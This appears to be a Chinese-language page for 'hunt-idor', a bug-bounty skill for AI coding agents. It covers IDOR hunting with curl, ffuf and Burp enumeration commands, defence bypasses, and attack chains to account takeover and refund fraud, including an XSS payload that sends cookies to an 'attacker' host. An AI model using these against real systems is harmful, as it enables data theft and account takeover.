关于 hunt-idor
hunt-idor 是用于发现 API 和应用中不安全直接对象引用的安全测试技能。它提供跨账户比较访问权限的方法,覆盖读写操作测试及可复现影响的记录。
主要功能
- 01梳理各端点中的资源 ID
- 02跨用户账户重放请求
- 03测试 REST 与 GraphQL 引用
- 04检查读取、写入和删除权限
- 05从客户端代码查找泄露的 ID
- 06验证并记录漏洞影响
适用场景
- 01检查用户能否访问他人的记录
- 02评估 SaaS 的跨组织隔离
- 03测试 GraphQL 查询和变更中的 IDOR
- 04复现并记录未经授权的资源修改
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-idor安装后在 Claude Code 中输入/hunt-idor确认已加载。
详细介绍
使用时机
当目标存在任何通过 ID 引用用户所有资源的端点时使用——例如,包含用户、订单、发票或消息 ID 的 API 路径、带有 id 参数的 GraphQL 查询、文件下载端点,或任何多租户 SaaS 功能。IDOR 是最常见且收益最高的漏洞之一,因为它无需绕过身份验证,就能直接暴露其他用户的数据。任何通过标识符显示或操作资源的功能都是潜在目标。价值最高的目标包括:金融文档/账单 API、私有仓库、用户消息、账户管理端点,以及跨租户的企业/组织管理功能。
核心目标
IDOR 为什么收益高:
- 无需绕过身份验证即可直接访问其他用户的数据——影响明确且易于证明
- 易于与权限提升、金融欺诈和账户接管串联利用
- 几乎所有包含用户所有资源的应用都会受到影响
价值最高的资产类型(按潜在赏金排序):
| 资产类型 | 收益原因 |
|---|---|
| 金融文档/账单 API | 暴露个人身份信息和金融数据(Shopify、Uber、PayPal) |
| 私有仓库/源代码 | 知识产权盗窃、关键数据丢失(GitHub) |
| 用户消息/私信 | 大规模侵犯隐私(Reddit) |
| 账户管理端点 | 添加用户、删除用户、提升权限(PayPal、Mozilla) |
| 企业/组织管理 | 跨租户权限提升、暴露员工个人身份信息(Uber) |
| 内容审核/管理员操作 | 业务破坏(Reddit mod logs) |
IDOR 赏金最高的项目:
- 采用多租户模式的平台(SaaS、B2Btools)
- 金融科技和支付处理商
- 带有私密内容的社交平台
- 具备组织/仓库隔离机制的开发工具
攻击面信号
明显存在 IDOR 的 URL 模式:
/api/v1/users/{id}/
/api/v*/orders/{order_id}
/invoices/download?id=
/reports/{uuid}/
/messages/{thread_id}
/admin/orgs/{org_id}/members
/migration/{migration_id}/files
/graphql (query params with IDs)
/api/business/{business_id}/
/vouchers/{voucher_id}/policy
响应头信号:
- 接受原始 ID 的端点返回
Content-Type: application/json - 缺少
X-Frame-Options或存在 CORS 配置错误,且同时带有 ID 参数 Authorization: Bearer令牌虽限定于用户,但访问的是组织级资源
JavaScript 源码模式:
// Look for hardcoded or interpolated IDs in JS
fetch(`/api/v1/users/${userId}/profile`)
axios.get('/invoices/' + invoiceId)
graphql query { billingDocument(id: $docId) }
// Redux/state stores exposing foreign IDs
state.currentUser.organizationId
技术栈信号:
- GraphQL 端点(基于查询的 IDOR 经常被漏掉)
- 使用连续整数 ID 的 REST API(最容易受到攻击)
- 可预测或在其他响应中泄露的 UUID
- 带有
org_id、account_id、business_id参数的多租户 SaaS 应用 - 移动应用(用 Burp 检查 APK——移动 API 经常跳过授权检查)
分步狩猎方法
-
梳理应用中的所有对象引用
- 以 User A 的身份登录,浏览每项功能
- 在 Burp Suite 中捕获所有请求
- 筛选包含以下内容的请求:
id=、_id=、uuid=、/v1/{noun}/{id},以及带有数字或 UUID 值的查询参数
-
枚举 ID 类型
- 连续整数 → 枚举 ±1、±100
- UUID → 检查它们是否出现在其他响应或 JS 文件中
- 哈希 ID → 检查它们是否泄露在公开端点、元数据或 GraphQL 内省中
-
创建两个独立账户(权限级别相同)
- User A:资源所有者
- User B:攻击者账户
- 以 User A 的身份登录时,记录属于 User A 的所有 ID
-
以 User B 的身份重放 User A 的资源 ID
- 将会话 Cookie/令牌替换为 User B 的凭据
- 发送引用 User A 对象 ID 的相同请求
- 测试每个端点的所有 HTTP 方法:GET、POST、PUT、PATCH、DELETE
-
测试跨租户/跨组织场景
- 在不同组织/企业中创建账户
- 测试 Org B 的会话能否引用 Org A 的 ID
- 特别关注管理/维护端点
-
专门测试 GraphQL
- 运行内省:
{ __schema { queryType { fields { name } } } } - 对于每个接受
id参数的查询/变更,替换为其他用户的 ID - 同时测试查询(读取)和变更(写入/删除)
- 运行内省:
-
测试写入/破坏性操作,而不只是读取
- User B 能否删除 User A 的资源?
- User B 能否修改 User A 的内容?
- User B 能否将自己添加到 User A 的账户中?
-
串联 IDOR 漏洞
- 利用一个 IDOR 泄露的数据(组织 ID、用户 ID)来触发下一个漏洞
- IDOR → ID 泄露 → 第二个 IDOR → 权限提升
-
测试会改变状态的边缘情况
- 仍可接受的过期令牌/邀请
- 针对资源 ID 的竞态条件
- 间接引用:
?sort=id或?filter[user_id]=
-
记录确切的差异
- 确认 User B 无权合法访问 User A 的资源
- 截图/记录返回 200 OK 与预期 403/404 的差异
载荷与检测模式
使用 curl 进行基础 IDOR 测试(替换 Cookie/令牌):
# Get User A's resource ID while authenticated as A
curl --max-time 30 --connect-timeout 10 -s -H "Cookie: session=USER_A_SESSION" \
https://target.com/api/v1/invoices/12345
# Replay with User B's session
curl --max-time 30 --connect-timeout 10 -s -H "Cookie: session=USER_B_SESSION" \
https://target.com/api/v1/invoices/12345
# Success = 200 OK with User A's data
GraphQL IDOR 测试:
curl --max-time 30 --connect-timeout 10 -s -X POST https://target.com/graphql \
-H "Authorization: Bearer USER_B_TOKEN" \
-H "Content-Type: application/json" \
-d '{"query":"{ billingDocument(id: \"USER_A_DOC_ID\") { id amount pdfUrl } }"}'
使用 ffuf 枚举连续 ID:
ffuf -u "https://target.com/api/v1/orders/FUZZ" \
-w ids.txt \
-H "Authorization: Bearer USER_B_TOKEN" \
-mc 200 \
-o idor_results.json
生成连续 ID 字典:
# Generate IDs around a known value
known_id = 48291
with open("ids.txt", "w") as f:
for i in range(known_id - 500, known_id + 500):
f.write(str(i) + "\n")
用于 IDOR 扫描的 Burp Intruder 载荷:
GET /api/messages/§12345§ HTTP/1.1
Host: target.com
Authorization: Bearer USER_B_TOKEN
# Mark §12345§ as injection point
# Use numeric sequential payload: 12000-13000
# Filter responses by length difference or status 200
从 JavaScript 中抓取泄露的 ID:
# Find IDs in JS bundles
curl --max-time 30 --connect-timeout 10 -s https://target.com/static/app.js | grep -Eo '"id":"[a-f0-9-]{36}"' | sort -u
# Find object references in API responses
curl --max-time 30 --connect-timeout 10 -s -H "Cookie: session=USER_A" \
https://target.com/api/v1/dashboard | python3 -m json.tool | grep -i "_id"
代码审查的 Grep 模式:
# Missing authorization checks in common frameworks
grep -r "findById\|findOne\|getById" --include="*.js" .
grep -r "params\[:id\]\|params\['id'\]" --include="*.rb" .
grep -r "request\.args\.get\('id'\)" --include="*.py" .
# Look for direct ORM queries without user scoping
grep -r "Model\.find(params" --include="*.js" .
# vs secure pattern: Model.find({ id: params.id, userId: req.user.id })
通过篡改 HTTP 方法进行 IDOR 测试:
# Try undocumented methods
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
echo "=== $method ==="
curl --max-time 30 --connect-timeout 10 -s -X $method \
-H "Authorization: Bearer USER_B_TOKEN" \
https://target.com/api/v1/users/USER_A_ID/profile
done
常见根本原因
-
ORM 查询中缺少所有权检查
// VULNERABLE: fetches any record const invoice = await Invoice.findById(req.params.id); // SECURE: scopes to authenticated user const invoice = await Invoice.findOne({ _id: req.params.id, userId: req.user.id }); -
在路由级而非对象级进行授权
- 开发者检查“用户是否已登录?”,却不检查“该用户是否拥有此对象?”
- 中间件确认身份验证通过;各个处理程序却跳过所有权验证
-
信任请求正文中由客户端提供的 ID
- 移动应用或 SPA 在 POST 正文中发送
org_id;服务器未经验证调用者是否属于该组织,就直接使用该值
- 移动应用或 SPA 在 POST 正文中发送
-
GraphQL 解析器没有字段级授权
- 查询解析器根据 ID 从数据库获取数据,却不检查发起请求的用户是否有权限
- 当解析器由架构自动生成时,这种情况尤其常见
-
不同 HTTP 方法的授权不一致
- GET 端点受到保护;同一资源路径上的 POST/DELETE 却未受保护
- 由不同开发者逐步构建的 API 中很常见
-
通过相关对象暴露间接引用
- 对象 A(可访问)包含对象 B 的引用(对象 B 本应保密)
- 开发者只保护对 B 的直接访问,却未保护通过 A 进行的间接引用
-
竞争条件和基于状态的 IDOR
- 只在创建时检查授权,而不在访问时检查
- 授予权限被撤销后,邀请/令牌仍然有效
-
多租户隔离失效
- 开发者实现了按用户的访问控制,却忘了跨组织边界
- 存在
user_id检查;缺少org_id/tenant_id检查
绕过技术
防御:使用 UUID 而非递增整数
- 绕过:UUID 经常会出现在其他 API 响应、通知邮件、webhook、GraphQL 查询或 JS 源代码中
- 技术:从可访问的端点收集 UUID,再对受限端点重放
防御:使用间接/哈希对象引用
- 绕过:解码哈希(通常是 base64 或简单混淆),或在其他响应中查找原始 ID
- 技术:
echo "dXNlcl8xMjM0NQ==" | base64 -d→user_12345
防御:为每个资源使用短期令牌
- 绕过:如果服务器只验证令牌格式,而不验证令牌绑定关系,令牌有时可供不同用户重复使用
- 技术:使用自己的令牌访问其他用户的资源 ID
防御:对枚举进行速率限制
- 绕过:放慢枚举速度(1 req/5s)、使用分布式 IP,或利用非枚举型 IDOR(你已经从其他泄露信息中知道目标的 ID)
防御:在 WHERE 子句中检查 user_id
- 绕过:检查同一端点是否也存在于不同 API 版本中(
/v1/与/v2/)——授权逻辑通常因版本而异 - 技术:检查 JS bundle 中是否调用了较旧的 API 版本
防御:CORS 限制
- 绕过:IDOR 不需要跨源利用——你可以使用自己的会话直接测试 API 端点
防御:通过服务器端会话使用“不透明”引用
- 绕过:查找任何会返回内部 ID 的端点,然后在其他地方使用该 ID;API 经常会在
Location标头、错误消息或元数据中暴露 ID
防御:针对常见模式的参数过滤/WAF
- 绕过:尝试嵌套 JSON
{"data": {"id": "VICTIM_ID"}}、HTTP 参数污染?id=own_id&id=victim_id,或参数名变体user_id、userId、uid、account
Gate 0 验证
撰写报告前,请回答以下三个问题:
-
攻击者现在能做什么? 具体说明:“拥有有效账户的攻击者可以向
/api/v1/invoices/{victim_invoice_id}发送 GET 请求,并收到受害者的完整账单文件,包括姓名、地址和付款金额——且与该账户毫无关联。” -
受害者会失去什么? 对应 CIA 三要素:机密性(数据泄露)、完整性(数据被篡改)或可用性(数据被删除)。“受害者的私人财务记录机密性受损”或“受害者的内容被第三方删除”——含糊的回答不合格。
-
能否从零开始在 10 分钟内复现?
- 创建两个全新的账户 ✓
- 记录包含受害者 ID 的确切 HTTP 请求 ✓
- 收到显示受害者数据的 200 OK 响应(或确认状态已更改)✓
- 不依赖已有状态或特定时机 ✓
如果无法稳定复现演示,请勿提交报告。
真实影响示例
场景 1:金融数据泄露 + 跨账户账单欺诈(Uber 风格) 攻击者发现了两个相关的 IDOR:一个允许读取任意组织的代金券政策配置(暴露组织 ID、员工邮箱列表和付款方式),另一个允许使用泄露的 ID 修改代金券政策。将两者串联后,攻击者便能将费用转嫁到任意企业账户、跨组织泄露员工个人身份信息(PII),并接管邀请链接——而这一切都不需要超出普通用户账户的权限。影响:金融欺诈 + 整个 B2B 平台的大规模 PII 泄露。
场景 2:通过迁移端点上的 IDOR 读取私有仓库(GitHub 风格)
迁移功能允许用户向迁移任务上传文件。系统未验证 migration_id 参数是否属于已验证用户。攻击者创建自己的迁移任务,观察 ID 格式,然后替换为其他用户的私有迁移 ID,从而读取自己无权访问的私有仓库中的源代码文件。影响:彻底绕过私有知识产权的机密性保护。
场景 3:通过消息 IDOR 串联实现账户接管(Reddit 风格)
攻击者在消息 API 端点中替换 thread_id,访问其他用户的私人消息线程。响应中包含消息内容、元数据,以及——最关键的——通过内部消息发送的会话令牌或验证令牌。攻击者利用在消息中找到的令牌执行账户恢复步骤,将只读 IDOR 升级为完全接管账户。影响:大规模完全攻陷目标用户的账户。
链式利用与组合(资深狩猎)
单独的 IDOR 若仅能跨租户读取数据,通常只会获得低到中等奖励。真正有价值的是将 IDOR 与通常不允许跨租户操作的状态更改原语串联——把“我能看到受害者的数据”变成“我拥有受害者的账户”。以下六种链式组合是在现代漏洞赏金计划中收益最高的 IDOR 利用方式。
链 1 — /api/users/{id}/email 上的 IDOR + 缺少重新验证 → 密码重置 → ATO
- A. 确认电子邮件更改端点存在 IDOR——使用攻击者的会话发送请求
PUT /api/users/{victim_id}/email {"email":"attacker@evil"};服务器在未检查所有权的情况下更改受害者的邮箱。 - B. 对受害者账户发起密码重置流程——服务器将重置链接发送到新邮箱(攻击者的邮箱)。
- C. 打开重置链接,设置新密码,并以受害者身份登录。
- 影响: 悄无声息地接管账户——受害者不会收到邮箱更改通知,因为更改是通过 API 而非用户界面中的“更改邮箱”功能完成的;后者有自己的审计日志。
- 典型情况: 2018–2024 年间,许多 SaaS 漏洞赏金披露中都出现过这种经典 ATO 模式。交叉引用
hunt-ato路径 2(更改邮箱时无需重新验证)。
链 2 — 文件下载上的 IDOR + 文件名可控的 Content-Disposition → 通过下载触发反射型 XSS → 会话窃取
- A.
/api/files/{id}/download上存在 IDOR,只需提供 ID 即可获取任意用户的文件。 - B. 下载端点设置
Content-Disposition: attachment; filename="<user-supplied-filename>",但未对换行符或引号进行清理——攻击者上传文件,文件名为"; <script>fetch('https://attacker/x?c='+document.cookie)</script>; foo.txt。 - C. 受害者访问下载链接 → 浏览器在响应头上下文中将注入的脚本解释为 HTML → JS 在同源环境下运行 → 窃取 Cookie/令牌。
- 影响: 通过 IDOR + 文件名可控的响应头实现账户接管(ATO)——单独来看,这两个原语都不严重;组合起来才构成攻击链。
- 真实案例: 已披露的多个案例涉及 Office 365 SharePoint 下载端点、GitLab 附件下载和 SaaS 导出端点。与
hunt-xss链 1(响应头 XSS 类)组合。
链 3 — 通过 GraphQL node(id:) GID + Relay 关系遍历实现 IDOR → 跨租户大规模数据提取
- A. 目标使用带有 Relay 风格全局 ID 的 GraphQL(
gid://shopify/Customer/<n>或 Base64 编码的type:id模式)。 - B.
node(id:"<victim_gid>") { ... on Customer { email orders { totalPrice paymentMethods { cardLast4 } } } }——顶层node()解析器会验证请求者身份,但嵌套关系不会针对已解析的 Customer 重新检查所有权。 - C. 遍历 ID(解码 Base64 提取数字并递增),即可提取整个客户群体的电子邮件、订单总额和付款方式。
- 影响: 大规模提取跨租户个人身份信息(PII)/财务数据。一个漏洞即可访问整个数据库。
- 真实案例: Shopify Billing IDOR,H1 #2207248($5,000);HackerOne PolicyPageAssetGroup IDOR,H1 #1618347($25,000)。交叉引用
hunt-graphql已披露报告引用 #5 和 #2。
链 4 — /api/teams/{id}/members 上的 IDOR + 请求体中的批量赋值 → 在受害者团队中提升角色
- A. 标准水平越权 IDOR——
POST /api/teams/{victim_team_id}/members {"email":"attacker@evil"}可在未检查所有权的情况下将攻击者添加为普通成员。 - B. 请求体接受 API 未过滤的其他字段:
{"email":"attacker@evil", "role":"OWNER", "permissions":["*"]}——批量赋值会影响角色字段。 - C. 攻击者以 OWNER 身份加入受害者团队。现在可以完全管理受害者团队的资源,还能移除真正的所有者。
- 影响: 通过 IDOR + 批量赋值实现跨租户权限提升。这是 SaaS 团队管理 API 上效率最高的接管攻击链。
- 真实案例: Shopify 未公开的
fileCopymutation,H1 #981472(2020 年,$2,000);StripeUpdateAtlasApplicationPerson跨租户 mutation,H1 #1066203(2020 年)。交叉引用hunt-graphql已披露报告引用 #7 和 #8;与hunt-api-misconfig的批量赋值部分组合。
链 5 — 软删除 IDOR + 移除后令牌仍有效 → 持续跨租户访问
- A. 找到“移除成员”端点,该端点会将
active=false,但不会使会话/PAT 失效。 - B. 以即将被移除的用户身份登录;捕获会话 Cookie 或 PAT。
- C. 让组织管理员通过正常流程移除该用户。等待一段时间。使用捕获的令牌重新发起 API 调用——此时 IDOR 变成了时间型(根据策略表,该用户已无权限,但缓存的身份验证上下文仍能通过验证)。
- 影响: 离职后数周仍可跨租户访问;存在 GDPR/CCPA 违规风险;还可能被用于勒索。
- 真实案例: Shopify 已移除员工仍可持续访问的漏洞类型(2022 年)。交叉引用
hunt-misc链 1——根本原因相同,起始原语不同。
链 6 — 双重 IDOR(/users/{id}/orders → /orders/{order_id}/refund)→ 给受害商户造成经济损失
- A. 第一次 IDOR:
GET /api/users/{victim_id}/orders未检查所有权便返回受害者的订单列表,从而获取有效的order_id。 - B. 第二次 IDOR:
POST /api/orders/{order_id}/refund未检查请求者是否拥有该商户或订单便发起退款。 - C. 对受害商户近期的每笔订单触发退款。资金从商户流向客户(而该客户也由攻击者控制)。
- 影响: 受害商户遭受直接经济损失。可在平台的商户群体中大规模利用。
- 真实案例形式: 2019—2023 年披露的多起电商平台 IDOR 链。交叉参考
hunt-business-logic链(通过状态机混淆造成经济损失)。
操作者层面的模式
确认 A 处存在读取型 IDOR 后,立即问:哪些状态变更操作会接受相同的 ID,且也可能存在 IDOR? 这类链通常属于以下一种:(1)终端步骤中的密码重置/邮箱变更 → ATO;(2)退款/提现/转账 → 经济影响;(3)角色变更/添加成员 → 权限提升。如果你的读取型 IDOR 无法与其中一种组合,那么你能获得的收益就只有单独利用它。要同时寻找两部分——第二部分通常更容易发现,因为它与第一部分属于同一种身份验证漏洞类别。
交叉参考:
hunt-ato— 链 1、5hunt-xss— 链 2hunt-graphql— 链 3、4hunt-misc— 链 5hunt-business-logic— 链 6
验证
运行以下自测,确认已准备好进行 IDOR 搜寻:
-
技能完整性 — 确认技能文件可读且格式正确:
grep -q "name: hunt-idor" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能具有类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分 — 确认已记录常见陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
全部 3 项测试均用于验证技能结构正确且已准备就绪。
常见陷阱
- 基于 UUID 的 IDOR — UUID 不可猜测,因此只有在 UUID 本身已泄露的情况下,读取他人已知 UUID 才属于 IDOR。记录泄露来源。
- 不含敏感数据的只读 IDOR — 通过 IDOR 访问其他用户的公开个人资料属于低危问题。需要涉及 PII、凭据或私人数据。
- 自我 IDOR — 使用你自己拥有的另一个标识符访问自己的数据,不属于 IDOR。需要跨账户访问。
- 针对公开资源的 IDOR — 如果资源本来就是公开的(按设计无需身份验证),则不存在 IDOR。确认该资源是否预期需要身份验证。
- 无 CSRF 的 POST/PUT IDOR — 写入型 IDOR 需要 CSRF 攻击向量,或者攻击者必须拥有受害者的会话。区分独立利用与链式利用的可能性。
相关技能与攻击链
hunt-auth-bypass— 对象级授权失效加上路由级缺少身份验证,是典型的 IDOR 放大器。攻击链原语:ORM 查询中缺少req.user.id范围限制,加上旧版/v1/路由缺少中间件,就能通过直接替换 ID,在未通过身份验证的情况下跨租户读取数据 → 批量泄露 PII,甚至完全不需要会话。hunt-ato— 个人资料编辑 IDOR 是从“读取他人数据”到“控制其账户”最直接的路径。攻击链原语:PATCH /api/users/{victim_uid}接受攻击者的会话和受害者 UID → 设置[email protected]→ 触发密码重置 → 重置链接发送给攻击者 → 无需知道受害者凭据即可完全接管账户(ATO)。hunt-graphql— 缺少字段级授权的 GraphQL 解析器默认存在 IDOR;内省会提供整个架构。攻击链原语:通过__schema内省 → 枚举每个接受id:参数的 mutation → 在updateUser、deleteOrg、transferBillingmutation 中替换受害者 ID → 一次内省查询即可大规模扩展 IDOR 攻击。security-arsenal— 查看 IDOR 绕过表(IDOR Bypass Tables)部分,获取 HTTP 参数污染载荷(?id=own&id=victim)、嵌套 JSON 包装({"data":{"id":"VICTIM"}})和参数名称变体(uid/userId/user_id/account),以应对首次直接替换返回 403 的情况。triage-validation— 对于返回 200 但实际上没有泄露数据的 IDOR(空数组、已脱敏字段,或响应正文中显示“access denied”但状态为 200),在将其定为严重级别(Critical)之前,先运行严重性预判关卡(Pre-Severity Gate)。返回 200 但没有数据的 IDOR 是 H1/Bugcrowd 上最常见的不适用(N/A)原因。
阶段 X — 跨通道 IDOR
GraphQL IDOR:mutation { updateUser(id: VICTIM_ID) { success } } —— 通过不同传输方式执行相同操作,可能绕过 REST 中间件。
WebSocket IDOR:通过 WS 发送的操作可能完全绕过 REST 授权。
缓存键混淆:CDN 使用共享键缓存用户专属响应 → 跨用户数据泄露。